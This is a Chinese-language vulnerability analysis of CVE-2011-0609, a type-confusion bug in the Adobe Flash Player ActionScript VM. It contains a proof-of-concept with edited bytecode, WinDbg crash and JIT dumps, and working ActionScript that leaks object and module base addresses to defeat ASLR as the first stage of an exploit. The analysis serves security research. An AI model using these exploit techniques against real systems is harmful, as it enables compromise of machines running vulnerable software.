參考:
[1].http://www.vupen.com/blog/20110326.Technical_Analysis_and_Win7_Exploitation_Adobe_Flash_0Day_CVE-2011-0609.php
相關工具:
[1].SWFTools
[2].WinRABCDAsm\RABCDAsm
[3].Windbg
0×01.工具介紹
SWFTools用來編譯as腳本,編譯as腳本命令:as3compile.exe poc.as -o poc.swf
注意生成文件的路徑。
WinRABCDAsm和RABAsm是一款可以直接修改ByteCode的工具,在調試Flash是很好用。WinRABCDAsm是RABAsm的GUI界面,用C#編寫,所以運行時首先
需要安裝微軟.Net Frame Work4.0 ,安裝完成後需要將RABAsm的目錄添加到Path環境變量,因爲WinRABCDAsm會調用RABAsm目錄裏面的exe文件,沒有
環境變量會爆各種錯誤。完成後就可以通過WinRABCDAsm.exe啓動,將要修改的SWF拖入,找到要修改的類和方法, 雙擊進行修改:
修改完成後點擊Reassemble可將字節碼重新打包編譯成swf文件(修改在原文件上,注意備份原文件)
WinDbg就不用說了.
0×02.關於CVE-2011-0609
該漏洞的利用方式五花八門,通過IE當然是第一種,後來看了下F-Secure爆出通過Excel利用該漏洞的攻擊樣本,後面Vupen又寫文章簡單描述了下該漏洞的高級利用方式(without Spary ,without javascript),這裏我們的POC也是參考該文章。
0×3. 漏洞成因
正常的AS如下:
package poc { import flash.display.MovieClip; import flash.utils.ByteArray; public class safe extends MovieClip { public function bla():ByteArray { return new ByteArray(); } public function safe() { var tl:ByteArray = (1 == 0) ? bla() : (1 == 0) ? bla() : bla(); var t:String = "AAAAAAAAAA&AAAAAAAAAAAAA"; t.length; } } }
將上面代碼保存成as文件,用SWFTools編譯成swf,再用WinRABCDAsm修改字節碼。修改前的字節碼:
getlocal0 constructsuper 0 pushbyte 1 pushbyte 0 equals iffalse L9 getlocal0 callproperty QName(PackageNamespace(""), "bla"), 0 jump L21 L9: label pushbyte 1 pushbyte 0 equals iffalse L17 getlocal0 callproperty QName(PackageNamespace(""), "bla"), 0 jump L20 L17: label getlocal0 callproperty QName(PackageNamespace(""), "bla"), 0 L20: label L21: label setlocal 1 pushstring "AAAAAAAAAA&AAAAAAAAAAAAA" setlocal 2 getlocal 2 getproperty QName(PackageNamespace(""), "length") pop kill 1 kill 2 returnvoid end ; code end ; body end ; method
修改後的字節碼:
修改的地方很明顯,將jump L20 這條轉跳指令修改到Jmp L22,L22是原始指令的後4條。
Jump L20前的指令用來調用函數bla,該函數返回值爲ByteArray,後面的幾條指令是獲取字符串的length屬性,但是修改後的字節碼很明顯跳過了push
一個字符串的操作,導致前面調用bla返回的ByteArray保存在棧中,這樣在獲取length屬性時獲取的就是ByteArray的length,而ByteArry顯然不同於
String類型,這樣導致一個可能的無效的內存訪問。
用以下Html頁面加載Flash,這裏Flash插件的版本爲Adobe Flash Player 10.1.85.3
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="100%" height="100%" id="FlashExp"> <param name="movie" value="CVE_2011_0609.swf" /> <param name="quality" value="high" /> <param name="bgcolor" value="#ffffff" /> <param name="allowScriptAccess" value="sameDomain" /> <param name="allowFullScreen" value="true" /> </object>
瀏覽器確實Crash掉了
掛載Windbg時崩潰點信息如下:
0599cfa2 ffd0 call eax 0599cfa4 83c40c add esp,0Ch 0599cfa7 8945f0 mov dword ptr [ebp-10h],eax 0599cfaa c745f0b0e59105 mov dword ptr [ebp-10h],591E5B0h 0599cfb1 8b45f0 mov eax,dword ptr [ebp-10h] 0599cfb4 85c0 test eax,eax 0599cfb6 742c je 0599cfe4 0599cfb8 8b4808 mov ecx,dword ptr [eax+8] 0599cfbb 8b89a0000000 mov ecx,dword ptr [ecx+0A0h] 0599cfc1 8d55c8 lea edx,[ebp-38h] 0599cfc4 8945c8 mov dword ptr [ebp-38h],eax 0599cfc7 8b01 mov eax,dword ptr [ecx] ds:0023:616c660b=???????? 0599cfc9 52 push edx 0599cfca 6a00 push 0 0599cfcc 51 push ecx 0599cfcd ffd0 call eax
根據崩潰點的信息,可以看到此時在AVM的Jit Code中,ecx是一個無效的內存,這裏ecx來自eax,而eax的值通過jit生成爲0x591E5B0
下面看看eax這個地址到底是什麼東西:
0:005> dd eax 0591e5b0 628c2f18 40000002 0580804f 00000000 0591e5c0 00000018 0000001a 628c2f18 00000002 0591e5d0 6283623c 00000000 00000004 00000002 0591e5e0 628c3468 00000002 058f2080 0578bd78 0591e5f0 058fadf1 18000001 628c3658 00000002 0591e600 05919040 058fbcd0 05921238 05813eb0 0591e610 628c2f18 00000003 62820f99 00000000 0591e620 00000003 00000012 628c2f18 00000003 0:005> dc 0580804f 0580804f 41414141 41414141 41264141 41414141 AAAAAAAAAA&AAAAA 0580805f 41414141 41414141 74794209 72724165 AAAAAAAA.ByteArr 0580806f 440d7961 6c707369 624f7961 7463656a ay.DisplayObject 0580807f 73694416 79616c70 656a624f 6f437463 .DisplayObjectCo 0580808f 6961746e 0f72656e 6e657645 73694474 ntainer.EventDis 0580809f 63746170 11726568 65746e49 74636172 patcher.Interact 058080af 4f657669 63656a62 6f4d0974 43656976 iveObject.MovieC 058080bf 0670696c 656a624f 53067463 74697270 lip.Object.Sprit
可以看到eax+8的位置保存的是我們前面的字符串的內容的指針。
現在記住崩潰地址,用修改前的POC進行對比。
修改前的生成的JIt Code如下:
05d19fab 51 push ecx 05d19fac ffd0 call eax 05d19fae 83c40c add esp,0Ch 05d19fb1 8bc8 mov ecx,eax 05d19fb3 8b45c4 mov eax,dword ptr [ebp-3Ch] ss:0023:025fd258=05c40030 05d19fb6 894df0 mov dword ptr [ebp-10h],ecx 05d19fb9 8b4064 mov eax,dword ptr [eax+64h] 05d19fbc 8b4008 mov eax,dword ptr [eax+8] 05d19fbf 8b400c mov eax,dword ptr [eax+0Ch] 05d19fc2 8b4840 mov ecx,dword ptr [eax+40h] 05d19fc5 8d55c8 lea edx,[ebp-38h] 05d19fc8 c745c8b015ca05 mov dword ptr [ebp-38h],5CA15B0h 05d19fcf 8b01 mov eax,dword ptr [ecx] 05d19fd1 52 push edx 05d19fd2 6a00 push 0 05d19fd4 51 push ecx 05d19fd5 ffd0 call eax
這裏5CA15B0h爲String對象。其偏移爲0×8的位置保存字符串的內容,偏移0×10位置保存字符串的長度,那麼對比前面的內存Dump信息,可知兩次
崩潰的對象均爲String對象,不同的是兩次生成的JIT Code。
我們來看看ByteArray 對象在內存中是怎樣佈局的:
package poc { import flash.display.MovieClip; import flash.utils.ByteArray; public class safe extends MovieClip { public function bla():ByteArray { return new ByteArray(); } public function safe() { var t2:ByteArray =new ByteArray(); t2.writeInt(1094795585); //0x41414141 t2.writeInt(1094795585); t2.writeInt(1094795585); t2.writeInt(1094795585); t2.length; } } }
重新編譯一個新的Flash文件並用html調用,這裏仍然需要注意的是斷點,我們根據crash的地址得到的jit code返回地址前的一個call就是jit call,所有的jit代碼都會經過這個call進行調用。因此給該函數下端,大概經過5次,即第6次時會執行到actionscript中的safe函數:
得到jit code如下:
可以很清楚的看到push 0×41414141的代碼,我們最後得到ByteArray的結構:
這裏比較疑惑的是我得到的ByteArray結構和Vupen在Blog上寫的並不完全相同。
緊接看看獲取length屬性的JIt Code
:
是不是發現這裏和前面修改過的flash POC crash時的代碼很相似?
沒錯!前面的崩潰代碼就是在取一個ByteArray結構的length屬性,而實際上那個對象並不是ByteArray,而是一個String對象!
因此得知,修改後的Byte Code被AVM解析時,發生了類型混淆,將本來應該生成String對象length操作的Jit Code,卻混淆爲ByteArray,由於兩種結構完全不同,因此訪問到了一塊無效的內存。
0×04 漏洞利用
爲了繞過ASLR,需要泄漏flash ocx控件的基地址。
泄漏基地址的過程分爲兩部:
1.泄漏ByteArray地址
2.泄漏ByteArray結構的虛函數地址
第一步可以通過混淆string類型和ByteArray類型實現,具體代碼如下
public function bla():String { return new String("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"); } public function blb():ByteArray { var t:ByteArray = new ByteArray(); t.writeInt(1094795585); t.writeInt(1094795585); t.writeInt(1094795585); t.writeInt(1094795585); return t; } public function main() { var tl:String = (1 == 0) ? bla() : (1 == 0) ? bla() : bla(); var t:ByteArray = blb(); var o:uint = t.length;//t is confused as String Object trace("[output] ByteArray Object:0x"+o.toString(16)); }
下圖紅色標註爲ByteArray偏移0×10位置的指針。
返回結果:
接下來泄漏ByteArray結構的虛函數地址的代碼如下:
package poc { import flash.display.MovieClip; import flash.utils.ByteArray; import flash.external.ExternalInterface; public class safe extends MovieClip { public function blc():Object { return null; } public function bld(param:uint):uint { var a:uint=parseInt(param); a=a|0x00000007; return a; } public function safe() { var t2:Object= (1 == 0) ? blc() : (1 == 0) ? blc() : blc(); var t3:uint=0x41414141; var t0:uint=bld(t3); var fakenumber:Number=new Number(t0);//t0 is confused as Number Object trace("fakeunmber is :0x"+fakenumber.toString(16)); } } }
上面的代碼用來將0×41414141的地址混淆成一個Number對象,其中safe函數生成的jit code如下:
04c59ec9 8945f0 mov dword ptr [ebp-10h],eax 04c59ecc eb71 jmp 04c59f3f 04c59ece 8b45c8 mov eax,dword ptr [ebp-38h] 04c59ed1 8b7008 mov esi,dword ptr [eax+8] 04c59ed4 8bb6d4020000 mov esi,dword ptr [esi+2D4h] 04c59eda 8d8d64ffffff lea ecx,[ebp-9Ch] 04c59ee0 898564ffffff mov dword ptr [ebp-9Ch],eax 04c59ee6 8b06 mov eax,dword ptr [esi] 04c59ee8 51 push ecx 04c59ee9 6a00 push 0 04c59eeb 56 push esi 04c59eec ffd0 call eax {Flash10h!CreateInstance+0x150b6c (6524c370)}==============================> bld() 04c59eee 83c40c add esp,0Ch 04c59ef1 8945f0 mov dword ptr [ebp-10h],eax 04c59ef4 8b75f0 mov esi,dword ptr [ebp-10h] 04c59ef7 8975d0 mov dword ptr [ebp-30h],esi 04c59efa c745a880e3a604 mov dword ptr [ebp-58h],4A6E380h 04c59f01 c745d841414141 mov dword ptr [ebp-28h],41414141h 04c59f08 c745ac00e7a604 mov dword ptr [ebp-54h],4A6E700h 04c59f0f 8b45c8 mov eax,dword ptr [ebp-38h] 04c59f12 8b7008 mov esi,dword ptr [eax+8] 04c59f15 8bb6d8020000 mov esi,dword ptr [esi+2D8h] 04c59f1b 8d8d60ffffff lea ecx,[ebp-0A0h] 04c59f21 898560ffffff mov dword ptr [ebp-0A0h],eax 04c59f27 c78564ffffff41414141 mov dword ptr [ebp-9Ch],41414141h 04c59f31 8b06 mov eax,dword ptr [esi] 04c59f33 51 push ecx 04c59f34 6a01 push 1 04c59f36 56 push esi 04c59f37 ffd0 call eax ==============================> bld() 04c59f39 83c40c add esp,0Ch 04c59f3c 8945f0 mov dword ptr [ebp-10h],eax 04c59f3f 8b75f0 mov esi,dword ptr [ebp-10h] 04c59f42 8975e0 mov dword ptr [ebp-20h],esi 04c59f45 c745b080e3a604 mov dword ptr [ebp-50h],4A6E380h 04c59f4c 6a00 push 0 04c59f4e 68380fa204 push 4A20F38h 04c59f53 53 push ebx 04c59f54 e857a45e60 call Flash10h!CreateInstance+0x148bac (652443b0) 04c59f59 83c40c add esp,0Ch 04c59f5c 8bd6 mov edx,esi 04c59f5e 8b75a0 mov esi,dword ptr [ebp-60h] 04c59f61 8b405c mov eax,dword ptr [eax+5Ch] 04c59f64 83c801 or eax,1 04c59f67 8d8d60ffffff lea ecx,[ebp-0A0h] 04c59f6d c78560ffffff01000000 mov dword ptr [ebp-0A0h],1 04c59f77 899564ffffff mov dword ptr [ebp-9Ch],edx 04c59f7d 51 push ecx 04c59f7e 6a01 push 1 04c59f80 50 push eax 04c59f81 53 push ebx 04c59f82 e8c9ae5f60 call Flash10h!CreateInstance+0x15964c (65254e50) ================== > Number() 04c59f87 83c410 add esp,10h
Windbg調試時斷在Number()處:
0:005> p eax=04aab711 ebx=04c4fa30 ecx=026cd3d4 edx=41414147 esi=00000000 edi=04a2f000 eip=04c84ec2 esp=026cd3ac ebp=026cd484 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206 04c84ec2 e889ff6760 call Flash10h!CreateInstance+0x15964c (65304e50) 0:005> p eax=41414147 ebx=04c4fa30 ecx=00000006 edx=026cd3d4 esi=00000000 edi=04a2f000 eip=04c84ec7 esp=026cd3ac ebp=026cd484 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246 04c84ec7 83c410 add esp,10h
返回的eax值爲41414147即僞造的Number對象地址。如果不理解爲何在bld函數中有個xor 7的操作,請看HaiFei Li的文章。
接下來就可以將0×41414141替換成第一步中泄漏的ByteArray的地址,並讀取混淆後的虛函數地址,之後根據虛函數就可以獲取基址了,
這裏需要注意的是在同一個as文件中進行混淆時發現並沒有成功,不知道何原因,將其放置在兩個as文件中,如下:
main.as:
package poc { import flash.display.MovieClip; import flash.utils.ByteArray; import flash.external.ExternalInterface; public class main extends MovieClip { public function bla():String { return new String("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb"); } public function blb():ByteArray { var t:ByteArray = new ByteArray(); t.writeInt(1094795585); t.writeInt(1094795585); t.writeInt(1094795585); t.writeInt(1094795585); return t; } public function main() { var tl:String = (1 == 0) ? bla() : (1 == 0) ? bla() : bla(); var t:ByteArray = blb(); var o:uint = t.length;//t is confused as String Object trace("[output] ByteArray Object:0x"+o.toString(16)); var base:uint=egg.get_base(o); trace("[output] Virtual function Address:0x"+base.toString(16)); trace("[output] Flash Module Base Address:0x"+(base-0x00489b94).toString(16)); } } }
egg.as:
package poc { import flash.utils.ByteArray; public class egg { static public function blc():Object { return null; } static public function bld(param:uint):uint { var a:uint=param; a=a|0x00000007; return a; } static public function get_base(param:uint):uint { trace("[output] arg from main:0x"+param.toString(16)); var t2:Object= (1 == 0) ? blc() : (1 == 0) ? blc() : blc(); var t3:uint=bld(param); var fakenumber:Number=new Number(t3); // trace("[output] ByteArray Object:0x"+fakenumber.toString(16)); var b:ByteArray = new ByteArray(); b.writeDouble(fakenumber); var res:uint; res = b[4]*0x1000000 + b[5]*0x10000 + b[6]*0x100 + b[7]; return res; } } }
運行效果如下:
這樣我們就可以獲取模塊的基址,通過同樣的方式來獲取shellcode地址,構造ROP鏈,ByPass DEP…